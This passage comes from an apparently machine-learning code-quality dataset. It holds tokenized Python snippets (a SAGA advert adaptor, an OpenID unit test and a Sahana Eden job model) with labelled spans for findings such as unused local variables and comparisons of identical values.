"\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "pd", ".", "url", ")+", "\"/", "data", "-", "unit", "s", "\",", " ", "du", "\\u", "urls", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "pd", ".", "url", ")+", "\"/", "pilot", "-", "data", "\",", " ", "pd", ".", "to", "\\u", "dict", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "pd_", "(_", "cls_", ",_", "pd", "s", "\\u", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"", "GET", " ", "PD", ":", " ", "\"_", "+_", "pd", "s", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pd", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "pd", "\\u", "dict", "[\"", "pilot", "\\u", "data", "\"", " ", "]=", " ", " ", "cls", ".\\u", "\\u", "retrieve", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "pd", "s", "\\u", "url", ")+", "\"/", "pilot", "-", "data", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "pd", "\\u", "dict", "[\"", "pilot", "\\u", "data", "\"]", " ", "=", " ", "cls", ".\\u", "\\u", "retrieve", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "pd", "s", "\\u", "url", ")+", "\"/", "pilot", "-", "data", "\")", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "return", " ", "pd", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "delete", "\\u", "pd_", "(_", "cls_", ",_", "pd", "s", "\\u", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pd", "s", "\\u", "url_", "=_", "cls_", "._", "\\u\\u", "get", "\\u", "url_", "(_", "pd", "s", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "pd", "\\u", "dir", " ", "=", " ", "sag", "a", ".", "adver", "t", ".", "director", "y", "(", "sag", "a", ".", "url", "(", "pd", "s", "\\u", "url", "),", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", "Parent", "s", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Read", "Write", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "pd", "\\u", "dir", ".", "remove", "(", "pd", "s", "\\u", "url", ",", " ", "sag", "a", ".", "name", "\\u", "space", ".", "Recursive", ")", " _", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "update", "\\u", "cds", "_", "(_", "cls_", ",_", "cds", "\\u", "url_", ",_", "cds", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Stor", "age", " ", "and", " ", "Compute", " ", "Resources_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pd", "s", "\\u", "urls_", "=_", "[_", "cls_", "._", "\\u\\u", "remove", "\\u", "dbt", "ype_", "(_", "i_", "._", "url_", ")_", "for_", "i_", "in_", "cds", "_", "._", "pilot", "\\u", "data\\u", "services_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "cds", "\\u", "url", ")+", "\"/", "pd", "s", "/\"", ",", " ", "pd", "s", "\\u", "urls", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pj", "s", "\\u", "urls_", "=_", "[_", "i_", "._", "url_", "for_", "i_", "in_", "cds", "_", "._", "pilot", "\\u", "job", "\\u", "services_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "cds", "\\u", "url", ")+", "\"/", "cds", "/\"", ",", " ", "pj", "s", "\\u", "urls", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "currentl", "y", " ", "manage", "d", " ", "PD", "s", " ", "and", " ", "WU", "s_", "\\u\\u\\uNL\\u\\u\\u_", "pd", "\\u", "urls_", "=_", "[_", "i_", "._", "url_", "for_", "i_", "in_", "cds", "_", "._", "data\\u", "units_", "._", "values_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "cds", "\\u", "url", ")+", "\"/", "du", "/\"", ",", " ", "pd", "\\u", "urls", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wu", "\\u", "urls_", "=_", "[_", "i_", "._", "url_", "for_", "i_", "in_", "cds", "_", "._", "compute", "\\u", "units_", "._", "values_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "cds", "\\u", "url", ")+", "\"/", "cu", "/\"", ",", " ", "wu", "\\u", "urls", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "delete", "\\u", "cds", "_", "(_", "cls_", ",_", "cds", "\\u", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cds", "\\u", "url_", "=_", "cls_", "._", "\\u\\u", "get", "\\u", "url_", "(_", "cls_", "._", "\\u\\u", "remove", "\\u", "dbt", "ype_", "(_", "cds", "\\u", "url_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cds", "\\u", "dir", " ", "=", " ", "sag", "a", ".", "adver", "t", ".", "director", "y", "(", "sag", "a", ".", "url", "(", "cds", "\\u", "url", "),", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", "Parent", "s", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Read", "Write", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "cds", "\\u", "dir", ".", "remove", "(", "cds", "\\u", "url", ",", " ", "sag", "a", ".", "name", "\\u", "space", ".", "Recursive", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "update", "\\u", "du_", "(_", "cls_", ",_", "du_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"****", " ", "Update", " ", "pilot", " ", "data", " ", "at", ":", " ", "\"_", "+_", "du_", "._", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "du", ".", "url", ")+", "\"/", "description", "\",", " ", "du", ".", "data\\u", "unit", "\\u", "description", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "du", ".", "url", ")+", "\"/", "state", "\",", " ", "du", ".", "state", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "du", "\\u", "urls_", "=_", "[_", "i_", "._", "url_", "for_", "i_", "in_", "du_", "._", "pilot", "\\u", "data_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "du", ".", "url", ")+", "\"/", "pilot", "-", "data", "\",", " ", "du", "\\u", "urls", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "du", "\\u", "dict", "\\u", "list_", "=_", "[_", "i_", "._", "to", "\\u", "dict_", "(_", ")_", "for_", "i_", "in_", "du_", "._", "data\\u", "unit", "\\u", "items_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cls", ".\\u", "\\u", "store", "\\u", "entry", "(", "cls", ".\\u", "\\u", "remove", "\\u", "dbt", "ype", "(", "du", ".", "url", ")+", "\"/", "data", "-", "unit", "s", "\",", " ", "du", "\\u", "dict", "\\u", "list", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "delete", "\\u", "du_", "(_", "cls_", ",_", "du", "\\u", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "du", "\\u", "url_", "=_", "cls_", "._", "\\u\\u", "get", "\\u", "url_", "(_", "du", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "du", "\\u", "dir", " ", "=", " ", "sag", "a", ".", "adver", "t", ".", "director", "y", "(", "sag", "a", ".", "url", "(", "du", "\\u", "url", "),", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", "Parent", "s", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Read", "Write", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "du", "\\u", "dir", ".", "remove", "(", "du", "\\u", "url", ",", " ", "sag", "a", ".", "name", "\\u", "space", ".", "Recursive", ")", " _", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "store", "\\u", "entry_", "(_", "cls_", ",_", "entry", "\\u", "url_", ",_", "content_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entry", "\\u", "url_", "=_", "cls_", "._", "\\u\\u", "get", "\\u", "url_", "(_", "entry", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "director", "y", " ", "is", " ", "recurs", "ively", " ", "created_", "\\u\\u\\uNL\\u\\u\\u_", "#", "entry", " ", "=", " ", "sag", "a", ".", "adver", "t", ".", "entry", "(", "sag", "a", ".", "url", "(", "entry", "\\u", "url", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", "Parent", "s", " ", "|", " ", "sag", "a", ".", "adver", "t", ".", "Read", "Write", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "entry", ".", "store", "\\u", "string", "(", "json", ".", "dump", "s", "(", "content", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "logg", "er", ".", "debug", "(\"", "Stor", "e", " ", "Advert", " ", "entry", " ", "at", ":", " ", "\"", " ", "+", " ", "entry", "\\u", "url", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "+", " ", "\"", " ", "Conten", "t", ":", " ", "\"", " ", "+", " ", "str", "(", "json", ".", "dump", "s", "(", "content", ")))", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "No", "Coordinat", "ion", "Adapt", "or_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "retrieve", "\\u", "entry_", "(_", "cls_", ",_", "entry", "\\u", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entry", "\\u", "url_", "=_", "cls_", "._", "\\u\\u", "get", "\\u", "url_", "(_", "entry", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "logg", "er", ".", "debug", "(\"", "Retrieve", " ", "Advert", " ", "entry", " ", "at", ":", " ", "\"", " ", "+", " ", "entry", "\\u", "url", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "director", "y", " ", "is", " ", "recurs", "ively", " ", "created_", "\\u\\u\\uNL\\u\\u\\u_", "#", "entry", " ", "=", " ", "sag", "a", ".", "adver", "t", ".", "entry", "(", "sag", "a", ".", "url", "(", "entry", "\\u", "url", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", " ", "|", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "sag", "a", ".", "adver", "t", ".", "Creat", "e", "Parent", "s", " ", "|", " ", "sag", "a", ".", "adver", "t", ".", "Read", "Write", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "content", " ", "=", " ", "json", ".", "load", "s", "(", "entry", ".", "retrieve", "\\u", "string", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "logg", "er", ".", "debug", "(\"", "Retrieve", " ", "Advert", " ", "entry", " ", "at", ":", " ", "\"", " ", "+", " ", "entry", "\\u", "url", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "+", " ", "\"", " ", "Conten", "t", ":", " ", "\"", " ", "+", " ", "str", "(", "json", ".", "dump", "s", "(", "content", ")))", "_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "content_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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3-openid/openid/test/test_symbol.py
[ { "content": " def test_selfInequality(self):\n x = oidutil.Symbol('xxx')\n self.assertFalse(x != x)", "metadata": "root.SymbolTest.test_selfInequality", "header": "['class', 'SymbolTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 19 } ]
[ { "span": "x != x)", "start_line": 21, "start_column": 25, "end_line": 21, "end_column": 31 } ]
[]
1
true
[ "[CLS]_", "Compari", "son_", "of_", "identical_", "values_", "[SEP]_", "class_", "Sym", "bol", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "self", "Ine", "quality_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "oid", "util_", "._", "Symbol_", "(_", "'", "xxx", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "x_", "!=_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2 ]
Unused local variable
sahana/eden/modules/s3db/work.py
[ { "content": " def model(self):\n\n db = current.db\n T = current.T\n\n settings = current.deployment_settings\n\n # ---------------------------------------------------------------------\n # Work Context\n #\n tablename = \"work_context\"\n self.define_table(tablename,\n Field(\"name\"),\n *s3_meta_fields())\n\n # ---------------------------------------------------------------------\n # Pass names back to global scope (s3.*)\n return {}", "metadata": "root.WorkContextModel.model", "header": "['class', 'WorkContextModel', '(', 'S3Model', ')', ':', '___EOS___']", "index": 45 }, { "content": " def model(self):\n\n db = current.db\n T = current.T\n s3 = current.response.s3\n\n settings = current.deployment_settings\n\n crud_strings = s3.crud_strings\n\n define_table = self.define_table\n configure = self.configure\n add_components = self.add_components\n set_method = self.set_method\n\n # ---------------------------------------------------------------------\n tablename = \"work_job_type\"\n define_table(tablename,\n Field(\"name\",\n label = T(\"Title\"),\n requires = IS_NOT_EMPTY(),\n ),\n s3_comments(),\n *s3_meta_fields())\n\n # CRUD strings\n crud_strings[tablename] = Storage(\n label_create = T(\"Create Job Type\"),\n title_display = T(\"Job Type Details\"),\n title_list = T(\"Job Types\"),\n title_update = T(\"Edit Job Type\"),\n label_list_button = T(\"List Job Types\"),\n msg_record_created = T(\"Job Type added\"),\n msg_record_modified = T(\"Job Type updated\"),\n msg_record_deleted = T(\"Job Type deleted\"),\n msg_list_empty = T(\"No Job Types currently registered\")\n )\n\n # Reusable field\n represent = S3Represent(lookup=tablename)\n job_type_id = S3ReusableField(\"job_type_id\", \"reference %s\" % tablename,\n label = T(\"Job Type\"),\n represent = represent,\n requires = IS_EMPTY_OR(IS_ONE_OF(\n db, \"work_job_type.id\",\n represent,\n )),\n sortby = \"name\",\n comment = S3PopupLink(c=\"work\",\n f=\"job_type\",\n tooltip=T(\"Create a new job type\"),\n ),\n )\n\n # ---------------------------------------------------------------------\n # Job Priorities\n #\n job_priority = {1: T(\"Urgent\"),\n 2: T(\"High\"),\n 3: T(\"Normal\"),\n 4: T(\"Low\"),\n }\n\n # ---------------------------------------------------------------------\n # Job Statuses\n #\n job_status = ((\"OPEN\", T(\"Open\")),\n (\"STARTED\", T(\"Started\")),\n (\"ONHOLD\", T(\"On Hold\")),\n (\"COMPLETED\", T(\"Completed\")),\n (\"CANCELLED\", T(\"Cancelled\")),\n )\n\n # ---------------------------------------------------------------------\n # Job\n #\n tablename = \"work_job\"\n define_table(tablename,\n job_type_id(),\n Field(\"name\",\n label = T(\"Title\"),\n requires = IS_NOT_EMPTY(),\n ),\n Field(\"details\", \"text\",\n label = T(\"Details\"),\n represent = s3_text_represent,\n ),\n Field(\"priority\", \"integer\",\n default = 3, # normal priority\n requires = IS_IN_SET(job_priority, zero=None),\n represent = S3Represent(options=job_priority),\n ),\n Field(\"status\",\n default = \"OPEN\",\n requires = IS_IN_SET(job_status, zero=None, sort=False),\n represent = S3Represent(options=dict(job_status)),\n ),\n self.super_link(\"site_id\", \"org_site\",\n label = T(\"Place\"),\n orderby = \"org_site.name\",\n readable = True,\n writable = True,\n represent = self.org_site_represent,\n ),\n s3_datetime(\"start_date\"),\n Field(\"duration\", \"double\",\n label = T(\"Hours Planned\"),\n requires = IS_EMPTY_OR(IS_FLOAT_IN_RANGE(0, None)),\n ),\n Field(\"workers_min\", \"integer\",\n default = 1,\n label = T(\"Helpers needed\"),\n requires = IS_INT_IN_RANGE(1, None),\n ),\n # @todo: onvalidation to check max>=min\n Field(\"workers_max\", \"integer\",\n label = T(\"Helpers needed (max)\"),\n requires = IS_EMPTY_OR(IS_INT_IN_RANGE(1, None)),\n ),\n Field(\"workers_assigned\", \"integer\",\n default = 0,\n label = T(\"Helpers assigned\"),\n requires = IS_INT_IN_RANGE(0, None),\n writable = False,\n ),\n s3_comments(),\n *s3_meta_fields())\n\n # CRUD strings\n crud_strings[tablename] = Storage(\n label_create = T(\"Create Job\"),\n title_display = T(\"Job Details\"),\n title_list = T(\"Jobs\"),\n title_update = T(\"Edit Job\"),\n label_list_button = T(\"List Jobs\"),\n msg_record_created = T(\"Job added\"),\n msg_record_modified = T(\"Job updated\"),\n msg_record_deleted = T(\"Job deleted\"),\n msg_list_empty = T(\"No Jobs currently registered\")\n )\n\n # Filter widgets\n filter_widgets = [S3TextFilter([\"name\",\n \"details\",\n \"job_type_id$name\",\n \"site_id$name\",\n ],\n label = T(\"Search\"),\n ),\n S3OptionsFilter(\"job_type_id\"),\n S3OptionsFilter(\"status\"),\n S3OptionsFilter(\"site_id\",\n hidden = True,\n ),\n S3DateFilter(\"start_date\",\n hidden = True,\n ),\n ]\n\n # List fields\n list_fields = [\"priority\",\n \"job_type_id\",\n \"name\",\n \"site_id\",\n \"start_date\",\n \"duration\",\n \"status\",\n \"workers_min\",\n \"workers_assigned\",\n ]\n\n # Table configuration\n configure(tablename,\n filter_widgets = filter_widgets,\n list_fields = list_fields,\n list_layout = work_JobListLayout(),\n )\n\n # Custom methods\n set_method(\"work\", \"job\",\n method = \"signup\",\n action = work_SignUp,\n )\n set_method(\"work\", \"job\",\n method = \"cancel\",\n action = work_SignUp,\n )\n\n # Components\n add_components(tablename,\n work_assignment = \"job_id\",\n )\n\n # Reusable field\n represent = S3Represent(lookup=tablename, show_link=True)\n job_id = S3ReusableField(\"job_id\", \"reference %s\" % tablename,\n label = T(\"Job\"),\n represent = represent,\n requires = IS_ONE_OF(db, \"work_job.id\",\n represent,\n ),\n sortby = \"name\",\n comment = S3PopupLink(c=\"work\",\n f=\"job\",\n tooltip=T(\"Create a new job\"),\n ),\n )\n\n # ---------------------------------------------------------------------\n # Linktable person<=>job\n #\n auth = current.auth\n tablename = \"work_assignment\"\n define_table(tablename,\n job_id(),\n self.pr_person_id(),\n *s3_meta_fields())\n\n # CRUD strings\n crud_strings[tablename] = Storage(\n label_create = T(\"Create Assignment\"),\n title_display = T(\"Assignment Details\"),\n title_list = T(\"Assignments\"),\n title_update = T(\"Edit Assignment\"),\n label_list_button = T(\"List Assignments\"),\n msg_record_created = T(\"Assignment added\"),\n msg_record_modified = T(\"Assignment updated\"),\n msg_record_deleted = T(\"Assignment deleted\"),\n msg_list_empty = T(\"No Assignments currently registered\")\n )\n\n # Table configuration\n configure(tablename,\n onaccept = self.assignment_onaccept,\n ondelete = self.assignment_ondelete,\n onvalidation = self.assignment_onvalidation,\n )\n\n # ---------------------------------------------------------------------\n # Pass names back to global scope (s3.*)\n return {\"work_job_id\": job_id,\n }", "metadata": "root.WorkJobModel.model", "header": "['class', 'WorkJobModel', '(', 'S3Model', ')', ':', '___EOS___']", "index": 79 } ]
[ { "span": "db ", "start_line": 47, "start_column": 8, "end_line": 47, "end_column": 10 }, { "span": "T ", "start_line": 48, "start_column": 8, "end_line": 48, "end_column": 9 }, { "span": "settings ", "start_line": 50, "start_column": 8, "end_line": 50, "end_column": 16 }, { "span": "settings ", "start_line": 85, "start_column": 8, "end_line": 85, "end_column": 16 }, { "span": "auth ", "start_line": 290, "start_column": 8, "end_line": 290, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Work", "Context", "Model_", "(_", "S", "3", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "model_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "=_", "current_", "._", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "=_", "current_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "settings_", "=_", "current_", "._", "deploy", "ment", "\\u", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Work", " ", "Context_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "tablename_", "=_", "\"", "work", "\\u", "context", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "defin", "e\\u", "table_", "(_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "name", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "*_", "s3", "\\u", "meta", "\\u", "fields_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pass", " ", "names", " ", "back", " ", "to", " ", "global", " ", "scope", " ", "(", "s3", ".*)", "_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Work", "Jo", "b", "Model_", "(_", "S", "3", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "model_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "=_", "current_", "._", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "=_", "current_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s3_", "=_", "current_", "._", "response_", "._", "s3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "settings_", "=_", "current_", "._", "deploy", "ment", "\\u", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "crud", "\\u", "strings_", "=_", "s3_", "._", "crud", "\\u", "strings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "defin", "e\\u", "table_", "=_", "self_", "._", "defin", "e\\u", "table_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "configure_", "=_", "self_", "._", "configure_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "\\u", "components_", "=_", "self_", "._", "add", 